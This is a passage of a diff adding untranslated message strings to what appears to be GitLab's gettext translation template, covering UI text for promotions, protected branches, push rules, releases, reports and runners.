+msgid "PromoteMilestone|Only project milestones can be promoted."
+msgstr ""
+
+msgid "PromoteMilestone|Project does not belong to a group."
+msgstr ""
+
+msgid "PromoteMilestone|Promotion failed - %{message}"
+msgstr ""
+
+msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
+msgstr ""
+
+msgid "Promoted issue to an epic."
+msgstr ""
+
+msgid "Promotion is not supported."
+msgstr ""
+
+msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
+msgstr ""
+
+msgid "Promotions|Buy EE"
+msgstr ""
+
+msgid "Promotions|Buy GitLab Enterprise Edition"
+msgstr ""
+
+msgid "Promotions|Contact an owner of group %{namespace_name} to upgrade the plan."
+msgstr ""
+
+msgid "Promotions|Contact owner %{link_start}%{owner_name}%{link_end} to upgrade the plan."
+msgstr ""
+
+msgid "Promotions|Contact your Administrator to upgrade your license."
+msgstr ""
+
+msgid "Promotions|Dismiss burndown charts promotion"
+msgstr ""
+
+msgid "Promotions|Don't show me this again"
+msgstr ""
+
+msgid "Promotions|Epics let you manage your portfolio of projects more efficiently and with less effort by tracking groups of issues that share a theme, across projects and milestones."
+msgstr ""
+
+msgid "Promotions|Improve issues management with Issue weight and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Promotions|Improve milestones with Burndown Charts."
+msgstr ""
+
+msgid "Promotions|Learn more"
+msgstr ""
+
+msgid "Promotions|Not now, thanks!"
+msgstr ""
+
+msgid "Promotions|See the other features in the %{subscription_link_start}bronze plan%{subscription_link_end}"
+msgstr ""
+
+msgid "Promotions|Start GitLab Ultimate trial"
+msgstr ""
+
+msgid "Promotions|This feature is locked."
+msgstr ""
+
+msgid "Promotions|Track activity with Contribution Analytics."
+msgstr ""
+
+msgid "Promotions|Try it for free"
+msgstr ""
+
+msgid "Promotions|Upgrade plan"
+msgstr ""
+
+msgid "Promotions|Upgrade your plan"
+msgstr ""
+
+msgid "Promotions|Upgrade your plan to activate Contribution Analytics."
+msgstr ""
+
+msgid "Promotions|Upgrade your plan to improve milestones with Burndown Charts."
+msgstr ""
+
+msgid "Promotions|Weight"
+msgstr ""
+
+msgid "Promotions|Weighting your issue"
+msgstr ""
+
+msgid "Promotions|When you have a lot of issues, it can be hard to get an overview. By adding a weight to your issues, you can get a better idea of the effort, cost, required time, or value of each, and so better manage them."
+msgstr ""
+
+msgid "Promotions|With Contribution Analytics you can have an overview for the activity of issues, merge requests, and push events of your organization and its members."
+msgstr ""
+
+msgid "Prompt users to upload SSH keys"
+msgstr ""
+
+msgid "Protect"
+msgstr ""
+
+msgid "Protect variable"
+msgstr ""
+
+msgid "Protected"
+msgstr ""
+
+msgid "Protected Branch"
+msgstr ""
+
+msgid "Protected Branches"
+msgstr ""
+
+msgid "Protected Environment"
+msgstr ""
+
+msgid "Protected Environments"
+msgstr ""
+
+msgid "Protected Paths"
+msgstr ""
+
+msgid "Protected Tag"
+msgstr ""
+
+msgid "Protected Tags"
+msgstr ""
+
+msgid "Protected branches"
+msgstr ""
+
+msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to merge"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to merge:"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to push:"
+msgstr ""
+
+msgid "ProtectedBranch|Branch"
+msgstr ""
+
+msgid "ProtectedBranch|Code owner approval"
+msgstr ""
+
+msgid "ProtectedBranch|Protect"
+msgstr ""
+
+msgid "ProtectedBranch|Protect a branch"
+msgstr ""
+
+msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
+msgstr ""
+
+msgid "ProtectedBranch|Pushes that change filenames matched by the CODEOWNERS file will be rejected"
+msgstr ""
+
+msgid "ProtectedBranch|Require approval from code owners:"
+msgstr ""
+
+msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
+msgstr ""
+
+msgid "ProtectedBranch|Toggle code owner approval"
+msgstr ""
+
+msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
+msgstr ""
+
+msgid "ProtectedEnvironment|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironment|Environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protect"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protect an environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protected Environment (%{protected_environments_count})"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protecting an environment restricts the users who can execute deployments."
+msgstr ""
+
+msgid "ProtectedEnvironment|Select an environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Select users"
+msgstr ""
+
+msgid "ProtectedEnvironment|Select users to deploy and manage Feature Flag settings"
+msgstr ""
+
+msgid "ProtectedEnvironment|There are currently no protected environments, protect an environment with the form above."
+msgstr ""
+
+msgid "ProtectedEnvironment|Unprotect"
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment can't be unprotected"
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment has been protected."
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment has been unprotected"
+msgstr ""
+
+msgid "Protip:"
+msgstr ""
+
+msgid "Protocol"
+msgstr ""
+
+msgid "Provider"
+msgstr ""
+
+msgid "Proxy support for this API is not available currently"
+msgstr ""
+
+msgid "Pseudonymizer data collection"
+msgstr ""
+
+msgid "Public"
+msgstr ""
+
+msgid "Public - The group and any public projects can be viewed without any authentication."
+msgstr ""
+
+msgid "Public - The project can be accessed without any authentication."
+msgstr ""
+
+msgid "Public Access Help"
+msgstr ""
+
+msgid "Public deploy keys (%{deploy_keys_count})"
+msgstr ""
+
+msgid "Public pipelines"
+msgstr ""
+
+msgid "Public projects Minutes cost factor"
+msgstr ""
+
+msgid "Publish to status page"
+msgstr ""
+
+msgid "Published on status page"
+msgstr ""
+
+msgid "Publishes this issue to the associated status page."
+msgstr ""
+
+msgid "Pull"
+msgstr ""
+
+msgid "Pull requests from fork are not supported"
+msgstr ""
+
+msgid "Puma is running with a thread count above 1 and the Rugged service is enabled. This may decrease performance in some environments. See our %{link_start}documentation%{link_end} for details of this issue."
+msgstr ""
+
+msgid "Purchase more minutes"
+msgstr ""
+
+msgid "Push"
+msgstr ""
+
+msgid "Push Rule updated successfully."
+msgstr ""
+
+msgid "Push Rules"
+msgstr ""
+
+msgid "Push Rules updated successfully."
+msgstr ""
+
+msgid "Push an existing Git repository"
+msgstr ""
+
+msgid "Push an existing folder"
+msgstr ""
+
+msgid "Push commits to the source branch or add previously merged commits to review them."
+msgstr ""
+
+msgid "Push events"
+msgstr ""
+
+msgid "Push project from command line"
+msgstr ""
+
+msgid "Push to create a project"
+msgstr ""
+
+msgid "PushRule|Committer restriction"
+msgstr ""
+
+msgid "Pushed"
+msgstr ""
+
+msgid "Pushes"
+msgstr ""
+
+msgid "PushoverService|%{user_name} deleted branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|%{user_name} push to branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|%{user_name} pushed new branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|High Priority"
+msgstr ""
+
+msgid "PushoverService|Leave blank for all active devices"
+msgstr ""
+
+msgid "PushoverService|Low Priority"
+msgstr ""
+
+msgid "PushoverService|Lowest Priority"
+msgstr ""
+
+msgid "PushoverService|Normal Priority"
+msgstr ""
+
+msgid "PushoverService|Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop."
+msgstr ""
+
+msgid "PushoverService|See project %{project_full_name}"
+msgstr ""
+
+msgid "PushoverService|Total commits count: %{total_commits_count}"
+msgstr ""
+
+msgid "PushoverService|Your application key"
+msgstr ""
+
+msgid "PushoverService|Your user key"
+msgstr ""
+
+msgid "Quarters"
+msgstr ""
+
+msgid "Query"
+msgstr ""
+
+msgid "Query cannot be processed"
+msgstr ""
+
+msgid "Query is valid"
+msgstr ""
+
+msgid "Queued"
+msgstr ""
+
+msgid "Quick actions can be used in the issues description and comment boxes."
+msgstr ""
+
+msgid "Quick range"
+msgstr ""
+
+msgid "README"
+msgstr ""
+
+msgid "Rake Tasks Help"
+msgstr ""
+
+msgid "Raw blob request rate limit per minute"
+msgstr ""
+
+msgid "Re-authentication period expired or never requested. Please try again"
+msgstr ""
+
+msgid "Re-authentication required"
+msgstr ""
+
+msgid "Re-verification interval"
+msgstr ""
+
+msgid "Read more"
+msgstr ""
+
+msgid "Read more about project permissions %{help_link_open}here%{help_link_close}"
+msgstr ""
+
+msgid "Read more about related issues"
+msgstr ""
+
+msgid "Real-time features"
+msgstr ""
+
+msgid "Rebase"
+msgstr ""
+
+msgid "Rebase in progress"
+msgstr ""
+
+msgid "Receive alerts from manually configured Prometheus servers."
+msgstr ""
+
+msgid "Receive notifications about your own activity"
+msgstr ""
+
+msgid "Recent"
+msgstr ""
+
+msgid "Recent Activity"
+msgstr ""
+
+msgid "Recent Project Activity"
+msgstr ""
+
+msgid "Recent Searches Service is unavailable"
+msgstr ""
+
+msgid "Recent searches"
+msgstr ""
+
+msgid "Reconfigure"
+msgstr ""
+
+msgid "Recover hidden stage"
+msgstr ""
+
+msgid "Recovering projects"
+msgstr ""
+
+msgid "Recovery Codes"
+msgstr ""
+
+msgid "Redirect to SAML provider to test configuration"
+msgstr ""
+
+msgid "Reduce project visibility"
+msgstr ""
+
+msgid "Reduce this project’s visibility?"
+msgstr ""
+
+msgid "Reference:"
+msgstr ""
+
+msgid "References"
+msgstr ""
+
+msgid "Refresh"
+msgstr ""
+
+msgid "Refreshing in a second to show the updated status..."
+msgid_plural "Refreshing in %d seconds to show the updated status..."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Regenerate export"
+msgstr ""
+
+msgid "Regenerate instance ID"
+msgstr ""
+
+msgid "Regenerate key"
+msgstr ""
+
+msgid "Regenerate recovery codes"
+msgstr ""
+
+msgid "Regenerating the instance ID can break integration depending on the client you are using."
+msgstr ""
+
+msgid "Regex pattern"
+msgstr ""
+
+msgid "Region that Elasticsearch is configured"
+msgstr ""
+
+msgid "Register"
+msgstr ""
+
+msgid "Register / Sign In"
+msgstr ""
+
+msgid "Register Two-Factor Authenticator"
+msgstr ""
+
+msgid "Register U2F device"
+msgstr ""
+
+msgid "Register Universal Two-Factor (U2F) Device"
+msgstr ""
+
+msgid "Register for GitLab"
+msgstr ""
+
+msgid "Register now"
+msgstr ""
+
+msgid "Register with two-factor app"
+msgstr ""
+
+msgid "Registration"
+msgstr ""
+
+msgid "Registration|Checkout"
+msgstr ""
+
+msgid "Registration|Your GitLab group"
+msgstr ""
+
+msgid "Registration|Your first project"
+msgstr ""
+
+msgid "Registration|Your profile"
+msgstr ""
+
+msgid "Registry setup"
+msgstr ""
+
+msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
+msgstr ""
+
+msgid "Reindexing status"
+msgstr ""
+
+msgid "Rejected (closed)"
+msgstr ""
+
+msgid "Related Deployed Jobs"
+msgstr ""
+
+msgid "Related Issues"
+msgstr ""
+
+msgid "Related Jobs"
+msgstr ""
+
+msgid "Related Merge Requests"
+msgstr ""
+
+msgid "Related Merged Requests"
+msgstr ""
+
+msgid "Related issues"
+msgstr ""
+
+msgid "Related merge requests"
+msgstr ""
+
+msgid "Relates to"
+msgstr ""
+
+msgid "Release"
+msgid_plural "Releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Release assets"
+msgstr ""
+
+msgid "Release assets documentation"
+msgstr ""
+
+msgid "Release does not have the same project as the milestone"
+msgstr ""
+
+msgid "Release notes"
+msgstr ""
+
+msgid "Release notes:"
+msgstr ""
+
+msgid "Release title"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Image"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Images"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Other"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Package"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Packages"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Runbook"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Runbooks"
+msgstr ""
+
+msgid "Releases"
+msgstr ""
+
+msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
+msgstr ""
+
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgstr ""
+
+msgid "Releases documentation"
+msgstr ""
+
+msgid "Releases|New Release"
+msgstr ""
+
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
+msgid "Release|Something went wrong while getting the release details"
+msgstr ""
+
+msgid "Release|Something went wrong while saving the release details"
+msgstr ""
+
+msgid "Remediated: needs review"
+msgstr ""
+
+msgid "Remediations"
+msgstr ""
+
+msgid "Remember me"
+msgstr ""
+
+msgid "Remind later"
+msgstr ""
+
+msgid "Remote object has no absolute path."
+msgstr ""
+
+msgid "Remove"
+msgstr ""
+
+msgid "Remove %{displayReference}"
+msgstr ""
+
+msgid "Remove Runner"
+msgstr ""
+
+msgid "Remove Zoom meeting"
+msgstr ""
+
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch"
+msgstr ""
+
+msgid "Remove all or specific assignee(s)"
+msgstr ""
+
+msgid "Remove all or specific label(s)"
+msgstr ""
+
+msgid "Remove approver"
+msgstr ""
+
+msgid "Remove approvers"
+msgstr ""
+
+msgid "Remove approvers?"
+msgstr ""
+
+msgid "Remove asset link"
+msgstr ""
+
+msgid "Remove assignee"
+msgstr ""
+
+msgid "Remove avatar"
+msgstr ""
+
+msgid "Remove card"
+msgstr ""
+
+msgid "Remove child epic from an epic"
+msgstr ""
+
+msgid "Remove description history"
+msgstr ""
+
+msgid "Remove due date"
+msgstr ""
+
+msgid "Remove fork relationship"
+msgstr ""
+
+msgid "Remove from batch"
+msgstr ""
+
+msgid "Remove from board"
+msgstr ""
+
+msgid "Remove from epic"
+msgstr ""
+
+msgid "Remove group"
+msgstr ""
+
+msgid "Remove iteration"
+msgstr ""
+
+msgid "Remove license"
+msgstr ""
+
+msgid "Remove limit"
+msgstr ""
+
+msgid "Remove member"
+msgstr ""
+
+msgid "Remove milestone"
+msgstr ""
+
+msgid "Remove node"
+msgstr ""
+
+msgid "Remove parent epic from an epic"
+msgstr ""
+
+msgid "Remove primary node"
+msgstr ""
+
+msgid "Remove priority"
+msgstr ""
+
+msgid "Remove secondary node"
+msgstr ""
+
+msgid "Remove spent time"
+msgstr ""
+
+msgid "Remove stage"
+msgstr ""
+
+msgid "Remove time estimate"
+msgstr ""
+
+msgid "Removed"
+msgstr ""
+
+msgid "Removed %{assignee_text} %{assignee_references}."
+msgstr ""
+
+msgid "Removed %{epic_ref} from child epics."
+msgstr ""
+
+msgid "Removed %{iteration_reference} iteration."
+msgstr ""
+
+msgid "Removed %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Removed %{milestone_reference} milestone."
+msgstr ""
+
+msgid "Removed %{type} with id %{id}"
+msgstr ""
+
+msgid "Removed all labels."
+msgstr ""
+
+msgid "Removed an issue from an epic."
+msgstr ""
+
+msgid "Removed group can not be restored!"
+msgstr ""
+
+msgid "Removed parent epic %{epic_ref}."
+msgstr ""
+
+msgid "Removed spent time."
+msgstr ""
+
+msgid "Removed the due date."
+msgstr ""
+
+msgid "Removed time estimate."
+msgstr ""
+
+msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
+msgstr ""
+
+msgid "RemovedProjects|You haven’t removed any projects."
+msgstr ""
+
+msgid "Removes %{assignee_text} %{assignee_references}."
+msgstr ""
+
+msgid "Removes %{epic_ref} from child epics."
+msgstr ""
+
+msgid "Removes %{iteration_reference} iteration."
+msgstr ""
+
+msgid "Removes %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Removes %{milestone_reference} milestone."
+msgstr ""
+
+msgid "Removes all labels."
+msgstr ""
+
+msgid "Removes an issue from an epic."
+msgstr ""
+
+msgid "Removes parent epic %{epic_ref}."
+msgstr ""
+
+msgid "Removes spent time."
+msgstr ""
+
+msgid "Removes the due date."
+msgstr ""
+
+msgid "Removes time estimate."
+msgstr ""
+
+msgid "Removing license…"
+msgstr ""
+
+msgid "Removing this group also removes all child projects, including archived projects, and their resources."
+msgstr ""
+
+msgid "Rename file"
+msgstr ""
+
+msgid "Rename folder"
+msgstr ""
+
+msgid "Rename/Move"
+msgstr ""
+
+msgid "Reopen"
+msgstr ""
+
+msgid "Reopen %{display_issuable_type}"
+msgstr ""
+
+msgid "Reopen epic"
+msgstr ""
+
+msgid "Reopen milestone"
+msgstr ""
+
+msgid "Reopen this %{quick_action_target}"
+msgstr ""
+
+msgid "Reopened this %{quick_action_target}."
+msgstr ""
+
+msgid "Reopens this %{quick_action_target}."
+msgstr ""
+
+msgid "Repair authentication"
+msgstr ""
+
+msgid "Replace"
+msgstr ""
+
+msgid "Replace all label(s)"
+msgstr ""
+
+msgid "Replaced all labels with %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Replaces the clone URL root."
+msgstr ""
+
+msgid "Replication"
+msgstr ""
+
+msgid "Replication enabled"
+msgstr ""
+
+msgid "Replication paused"
+msgstr ""
+
+msgid "Reply by email"
+msgstr ""
+
+msgid "Reply to comment"
+msgstr ""
+
+msgid "Reply to this email directly or %{view_it_on_gitlab}."
+msgstr ""
+
+msgid "Reply..."
+msgstr ""
+
+msgid "Repo by URL"
+msgstr ""
+
+msgid "Report %{display_issuable_type} that are abusive, inappropriate or spam."
+msgstr ""
+
+msgid "Report abuse"
+msgstr ""
+
+msgid "Report abuse to admin"
+msgstr ""
+
+msgid "Reported %{timeAgo} by %{reportedBy}"
+msgstr ""
+
+msgid "Reporting"
+msgstr ""
+
+msgid "Reports|%{combinedString} and %{resolvedString}"
+msgstr ""
+
+msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
+msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reports|Accessibility scanning detected no issues for the source branch only"
+msgstr ""
+
+msgid "Reports|Accessibility scanning failed loading results"
+msgstr ""
+
+msgid "Reports|Accessibility scanning results are being parsed"
+msgstr ""
+
+msgid "Reports|Actions"
+msgstr ""
+
+msgid "Reports|An error occured while loading report"
+msgstr ""
+
+msgid "Reports|An error occurred while loading %{name} results"
+msgstr ""
+
+msgid "Reports|Class"
+msgstr ""
+
+msgid "Reports|Classname"
+msgstr ""
+
+msgid "Reports|Execution time"
+msgstr ""
+
+msgid "Reports|Failure"
+msgstr ""
+
+msgid "Reports|Identifier"
+msgstr ""
+
+msgid "Reports|Metrics reports are loading"
+msgstr ""
+
+msgid "Reports|Metrics reports changed on %{numberOfChanges} %{pointsString}"
+msgstr ""
+
+msgid "Reports|Metrics reports did not change"
+msgstr ""
+
+msgid "Reports|Metrics reports failed loading results"
+msgstr ""
+
+msgid "Reports|Scanner"
+msgstr ""
+
+msgid "Reports|Severity"
+msgstr ""
+
+msgid "Reports|System output"
+msgstr ""
+
+msgid "Reports|Test summary"
+msgstr ""
+
+msgid "Reports|Test summary failed loading results"
+msgstr ""
+
+msgid "Reports|Test summary results are being parsed"
+msgstr ""
+
+msgid "Reports|Vulnerability"
+msgstr ""
+
+msgid "Reports|Vulnerability Name"
+msgstr ""
+
+msgid "Reports|no changed test results"
+msgstr ""
+
+msgid "Repositories"
+msgstr ""
+
+msgid "Repository"
+msgstr ""
+
+msgid "Repository Analytics"
+msgstr ""
+
+msgid "Repository Graph"
+msgstr ""
+
+msgid "Repository Settings"
+msgstr ""
+
+msgid "Repository check"
+msgstr ""
+
+msgid "Repository check was triggered."
+msgstr ""
+
+msgid "Repository cleanup"
+msgstr ""
+
+msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
+msgstr ""
+
+msgid "Repository files count over the limit"
+msgstr ""
+
+msgid "Repository has an invalid default branch name."
+msgstr ""
+
+msgid "Repository has more than one branch."
+msgstr ""
+
+msgid "Repository has no locks."
+msgstr ""
+
+msgid "Repository has tags."
+msgstr ""
+
+msgid "Repository maintenance"
+msgstr ""
+
+msgid "Repository mirroring"
+msgstr ""
+
+msgid "Repository must contain at least 1 file."
+msgstr ""
+
+msgid "Repository size is above the limit."
+msgstr ""
+
+msgid "Repository static objects"
+msgstr ""
+
+msgid "Repository storage"
+msgstr ""
+
+msgid "Repository sync capacity"
+msgstr ""
+
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgstr ""
+
+msgid "RepositorySettingsAccessLevel|Select"
+msgstr ""
+
+msgid "Request Access"
+msgstr ""
+
+msgid "Request Headers"
+msgstr ""
+
+msgid "Request details"
+msgstr ""
+
+msgid "Request parameter %{param} is missing."
+msgstr ""
+
+msgid "Request to link SAML account must be authorized"
+msgstr ""
+
+msgid "Requested %{time_ago}"
+msgstr ""
+
+msgid "Requested design version does not exist."
+msgstr ""
+
+msgid "Requested states are invalid"
+msgstr ""
+
+msgid "Requests"
+msgstr ""
+
+msgid "Requests Profiles"
+msgstr ""
+
+msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
+msgstr ""
+
+msgid "Require all users in this group to setup Two-factor authentication"
+msgstr ""
+
+msgid "Require all users to accept Terms of Service and Privacy Policy when they access GitLab."
+msgstr ""
+
+msgid "Require user password to approve"
+msgstr ""
+
+msgid "Require users to prove ownership of custom domains"
+msgstr ""
+
+msgid "Required approvals (%{approvals_given} given)"
+msgstr ""
+
+msgid "Required approvals (%{approvals_given} given, you've approved)"
+msgstr ""
+
+msgid "Required in this project."
+msgstr ""
+
+msgid "Requirement %{reference} has been added"
+msgstr ""
+
+msgid "Requirement %{reference} has been archived"
+msgstr ""
+
+msgid "Requirement %{reference} has been reopened"
+msgstr ""
+
+msgid "Requirement %{reference} has been updated"
+msgstr ""
+
+msgid "Requirement title cannot have more than %{limit} characters."
+msgstr ""
+
+msgid "Requirements"
+msgstr ""
+
+msgid "Requirements can be based on users, stakeholders, system, software, or anything else you find important to capture."
+msgstr ""
+
+msgid "Requires approval from %{names}."
+msgid_plural "Requires %{count} more approvals from %{names}."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Requires approval."
+msgid_plural "Requires %d more approvals."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Requires values to meet regular expression requirements."
+msgstr ""
+
+msgid "Resend Request"
+msgstr ""
+
+msgid "Resend confirmation email"
+msgstr ""
+
+msgid "Resend invite"
+msgstr ""
+
+msgid "Resend it"
+msgstr ""
+
+msgid "Reset authorization key"
+msgstr ""
+
+msgid "Reset authorization key?"
+msgstr ""
+
+msgid "Reset health check access token"
+msgstr ""
+
+msgid "Reset key"
+msgstr ""
+
+msgid "Reset runners registration token"
+msgstr ""
+
+msgid "Reset template"
+msgstr ""
+
+msgid "Reset to project defaults"
+msgstr ""
+
+msgid "Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
+msgstr ""
+
+msgid "Resetting the authorization key will invalidate the previous key. Existing alert configurations will need to be updated with the new key."
+msgstr ""
+
+msgid "Resolve"
+msgstr ""
+
+msgid "Resolve all threads in new issue"
+msgstr ""
+
+msgid "Resolve conflicts"
+msgstr ""
+
+msgid "Resolve conflicts on source branch"
+msgstr ""
+
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
+msgid "Resolve thread"
+msgstr ""
+
+msgid "Resolved"
+msgstr ""
+
+msgid "Resolved 1 discussion."
+msgstr ""
+
+msgid "Resolved all discussions."
+msgstr ""
+
+msgid "Resolved by"
+msgstr ""
+
+msgid "Resolved by %{name}"
+msgstr ""
+
+msgid "Resolved by %{resolvedByName}"
+msgstr ""
+
+msgid "Resolves IP addresses once and uses them to submit requests"
+msgstr ""
+
+msgid "Response"
+msgstr ""
+
+msgid "Response Headers"
+msgstr ""
+
+msgid "Response Status"
+msgstr ""
+
+msgid "Response didn't include `service_desk_address`"
+msgstr ""
+
+msgid "Response metrics (AWS ELB)"
+msgstr ""
+
+msgid "Response metrics (Custom)"
+msgstr ""
+
+msgid "Response metrics (HA Proxy)"
+msgstr ""
+
+msgid "Response metrics (NGINX Ingress VTS)"
+msgstr ""
+
+msgid "Response metrics (NGINX Ingress)"
+msgstr ""
+
+msgid "Response metrics (NGINX)"
+msgstr ""
+
+msgid "Restart Terminal"
+msgstr ""
+
+msgid "Restore"
+msgstr ""
+
+msgid "Restore group"
+msgstr ""
+
+msgid "Restore project"
+msgstr ""
+
+msgid "Restoring the group will prevent the group, its subgroups and projects from being removed on this date."
+msgstr ""
+
+msgid "Restoring the project will prevent the project from being removed on this date and restore people's ability to make changes to it."
+msgstr ""
+
+msgid "Restrict membership by email domain"
+msgstr ""
+
+msgid "Restricts sign-ups for email addresses that match the given regex. See the %{supported_syntax_link_start}supported syntax%{supported_syntax_link_end} for more information."
+msgstr ""
+
+msgid "Resume"
+msgstr ""
+
+msgid "Resync"
+msgstr ""
+
+msgid "Resync all"
+msgstr ""
+
+msgid "Resync all %{replicableType}"
+msgstr ""
+
+msgid "Retry"
+msgstr ""
+
+msgid "Retry this job"
+msgstr ""
+
+msgid "Retry this job in order to create the necessary resources."
+msgstr ""
+
+msgid "Retry update"
+msgstr ""
+
+msgid "Retry verification"
+msgstr ""
+
+msgid "Reveal value"
+msgid_plural "Reveal values"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reveal values"
+msgstr ""
+
+msgid "Revert this commit"
+msgstr ""
+
+msgid "Revert this merge request"
+msgstr ""
+
+msgid "Review"
+msgstr ""
+
+msgid "Review App|View app"
+msgstr ""
+
+msgid "Review App|View latest app"
+msgstr ""
+
+msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
+msgstr ""
+
+msgid "Review time"
+msgstr ""
+
+msgid "Review time is defined as the time it takes from first comment until merged."
+msgstr ""
+
+msgid "ReviewApp|Enable Review App"
+msgstr ""
+
+msgid "Reviewing"
+msgstr ""
+
+msgid "Reviewing (merge request !%{mergeRequestId})"
+msgstr ""
+
+msgid "Revoke"
+msgstr ""
+
+msgid "Revoked"
+msgstr ""
+
+msgid "Revoked impersonation token %{token_name}!"
+msgstr ""
+
+msgid "Revoked personal access token %{personal_access_token_name}!"
+msgstr ""
+
+msgid "Revoked project access token %{project_access_token_name}!"
+msgstr ""
+
+msgid "RightSidebar|adding a"
+msgstr ""
+
+msgid "RightSidebar|deleting the"
+msgstr ""
+
+msgid "Roadmap"
+msgstr ""
+
+msgid "Role"
+msgstr ""
+
+msgid "Rollback"
+msgstr ""
+
+msgid "Rook"
+msgstr ""
+
+msgid "Rule name is already taken."
+msgstr ""
+
+msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
+msgstr ""
+
+msgid "Rules that define what git pushes are accepted for a project. All newly created projects will use these settings."
+msgstr ""
+
+msgid "Run CI/CD pipelines for external repositories"
+msgstr ""
+
+msgid "Run housekeeping"
+msgstr ""
+
+msgid "Run manual or delayed jobs"
+msgstr ""
+
+msgid "Run tests against your code live using the Web Terminal"
+msgstr ""
+
+msgid "Run untagged jobs"
+msgstr ""
+
+msgid "Runner cannot be assigned to other projects"
+msgstr ""
+
+msgid "Runner runs jobs from all unassigned projects"
+msgstr ""
+
+msgid "Runner runs jobs from all unassigned projects in its group"
+msgstr ""
+
+msgid "Runner runs jobs from assigned projects"
+msgstr ""
+
+msgid "Runner token"
+msgstr ""
+
+msgid "Runner tokens"
+msgstr ""
+
+msgid "Runner was not deleted because it is assigned to multiple projects."
+msgstr ""
+
+msgid "Runner was not updated."
+msgstr ""
+
+msgid "Runner was successfully updated."
+msgstr ""
+
+msgid "Runner will not receive any new jobs"
+msgstr ""
+
+msgid "Runners"
+msgstr ""
+
+msgid "Runners API"
+msgstr ""
+
+msgid "Runners activated for this project"
+msgstr ""
+
+msgid "Runners are processes that pick up and execute jobs for GitLab. Here you can register and see your Runners for this project."
+msgstr ""
+
+msgid "Runners can be placed on separate users, servers, and even on your local machine."
+msgstr ""
+
+msgid "Runners can be placed on separate users, servers, even on your local machine."
+msgstr ""
+
+msgid "Runners currently online: %{active_runners_count}"
+msgstr ""
+
+msgid "Runners page."
+msgstr ""
+
+msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
+msgstr ""
+
+msgid "Running"
+msgstr ""
+
+msgid "Running…"
+msgstr ""
+
+msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
+msgstr ""
+
+msgid "SAML SSO"
+msgstr ""
+
+msgid "SAML SSO for %{group_name}"
+msgstr ""
+
+msgid "SAML discovery tokens"
+msgstr ""
+
+msgid "SAML for %{group_name}"
+msgstr ""
+
+msgid "SAST Configuration"
+msgstr ""
+
+msgid "SHA256"
+msgstr ""
+
+msgid "SSH Key"
+msgstr ""
+
+msgid "SSH Keys"
+msgstr ""
+
+msgid "SSH Keys Help"
+msgstr ""
+
